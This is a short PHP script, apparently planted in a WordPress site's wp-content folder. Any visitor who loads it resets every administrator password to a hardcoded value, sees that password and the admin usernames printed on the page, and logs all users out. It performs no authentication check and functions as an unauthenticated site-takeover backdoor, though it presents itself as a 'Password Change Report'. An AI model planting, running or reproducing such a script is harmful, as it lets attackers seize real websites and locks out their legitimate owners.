File: /mnt/data/doccure-io/wp-content/newfile.php
<?php
require_once('/mnt/data/doccure-io/wp-load.php');
$new_password = "SysAdminHowlSec234@";
$admin_users = get_users(array(
'role' => 'administrator'
));
$updated = 0;
$total = count($admin_users);
echo "<h2>Password Change Report</h2>";
echo "<p>Changing passwords for all admin users to: <strong>$new_password</strong></p>";
echo "<ul>";
foreach ($admin_users as $user) {
wp_set_password($new_password, $user->ID);
echo "<li>Updated password for admin: <strong>{$user->user_login}</strong> (ID: {$user->ID})</li>";
$updated++;
}
echo "</ul>";
echo "<p><strong>Summary:</strong> Updated $updated out of $total administrator accounts.</p>";
WP_Session_Tokens::destroy_all_for_all_users();
echo "<p>All user sessions have been invalidated. Everyone needs to log in again.</p>";
echo "<p>Recommend: <strong>DELETE THIS SCRIPT</strong> after use for security!</p>";
?>